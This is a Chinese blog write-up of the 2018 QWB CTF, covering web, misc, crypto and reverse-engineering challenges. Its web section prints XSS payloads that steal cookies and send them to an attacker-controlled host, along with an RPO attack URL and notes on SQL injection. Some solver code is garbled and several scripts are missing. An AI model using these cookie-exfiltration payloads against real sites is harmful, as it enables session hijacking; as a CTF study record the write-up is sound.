第二届“强网杯”全国网络安全挑战赛WRITE-UP

原创

郁离歌 于 2018-03-27 21:19:20 发布 2172 收藏 1
分类专栏： CTF-WRITE-UP 文章标签： 强网杯 CTF学习 writeup

周末打了一下QWB去看神仙打架23333333

萌新我勉强苟进了前200，废话不多说了，还是太菜了。努力！

WEB

web签到

这个题有三层,过三关得flag。

第一层

```
param1[]=1&param2[]=2
```

第二层

```
param1[]=1&param2[]=2
```

第三层

使用MD5碰撞生日攻击

参考链接：

> *http://www.freebuf.com/articles/network/48015.html*
>
> *https://marc-stevens.nl/research/md5-1block-collision/*

利用碰撞机搞到两个md5值相等的bin文件。

然后url编码一下post过去，或者使用burpsuite文件上传。

拿到flag。

Share your mind

rpo攻击和xxs bot的使用。

f12审查元素可以看到有两个相对路径的js代码，而比如jquery.min.js前面没有/来限制，存在rpo攻击漏洞。

rpo攻击资料链接：*http://blog.nsfocus.net/rpo-attack/*

artile发布文章。

构造payloadjs渲染：

> *http://39.107.33.96:20000/index.php/view/article/98749/..%2F..%2F..%2F..%2Findex.php*

发现有戏。文章xss内容：

```
b=document.cookie;a="<img src=//ip/"+btoa(b)+">";document.write(a);
```

来获取根目录下的cookie。

> *得到：HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"*

获取该目录下的cookie

这里有两种方法，第一是xssbot执行：

```
var i = document.createElement("iframe");

i.setAttribute("src", "/QWB_fl4g/QWB/");

document.body.appendChild(i);

i.addEventListener( "load", function(){

var content = i.contentWindow.document.cookie; location='//ip/'+btoa(content);},
false);
```

然后看vps上返回的cookie就是flag。

第二种方法是写文章处：

创建 iframe，利用 iframe 标签
的 src 属性指定目标地址，然后读取 contentWindow.document.cookie 就可以了

使用eval((String.fromCharCode()))

> *内容是：*
> *o=document.createElement("iframe");o.src="/QWB_fl4g/QWB/";document.getElementsByTagN[0].appendChild(o);o.onload=function(){newImage().src="http://yourvps/?d="+o.contentWindow.document.cookie;*

在服务器上返回cookie有flag。

Three hit

经典的二次注入。发现在password处可以注入。

测试发现有四个字段，在第二个字段处有回显。

依次爆出信息**qwb -> flag -> flag**。萌新题23333333

打扰了，我太垃圾了，web其他的不会了。pwn学艺不精，pythonweb看着源码就懵逼，实战又只会工具，那个什么教育网站看着就怕2333333.

MISC

签到

这题太爽了，复制粘贴一把梭。拿到flag。哈！

WELCOME

掏出图片隐写神器stegsolve，进行图层分析，胡乱操作一般拿到flag。

ai-mail

什么深度学习啊，写个脚本把图片base64之后发过去，爆破一下得flag。（打扰了我觉得就是这样做）

贴脚本

```
from pwn import *
import base64
image_data = ''
with open('./basque-shepherd-dog.jpg', 'rb') as fp:
image_data = base64.b64encode(fp.read())
while True:
conn = remote('117.50.13.213', 12345)
conn.recvuntil('plz input your base64 encode pic:')
conn.sendline(image_data)
res = conn.recvall(timeout=3).strip()
if res and res != 'no':
print res
sleep(7)
res = conn.recvall(timeout=3).strip()
print res
sys.exit(0)
conn.close()
```

还好在下学了点pwn，会用pwntools，不然脚本都不会写，打扰了。

问卷调查

一本正经的吐槽了一下拿到flag。

CRYPTO

streamgame1/streamgame2

贴一下1题目：

2的题目：

LFSR中文名：线性反馈移位寄存器（鬼畜）

逆了一下不会逆，爆破吧少年。

1的爆破：

2的爆破：

管他什么密码学。爆破一把梭，什么原理，什么逆向密码学，一把梭！

RE

simplecheck

打扰了还是爆破。

```
a = [146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506,
449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524,
417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557,
440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312]
b = [46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438,
33995,
53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293,
64752, 37108]
c = [57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340,
37644,
59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198,
8406, 64666]
d = [-341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -
107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377,
126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231,
123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562]
flag = ''
for m in range(34):
  for i inrange(33, 127):
        if a[m] == b[m] * i **2+ c[m] * i + d[m]:
               for j inrange(33,127):
                      if a[(m +1)] == b[m] * j **2+ c[m] * j + d[m]:
                                    flag+=chr(i)
                                    print flag
```

PWN

打扰了，全是堆。告辞！

说点什么吧，QWB真的是打到心态大崩，自己真的是太菜了。没有什么想说的。告辞。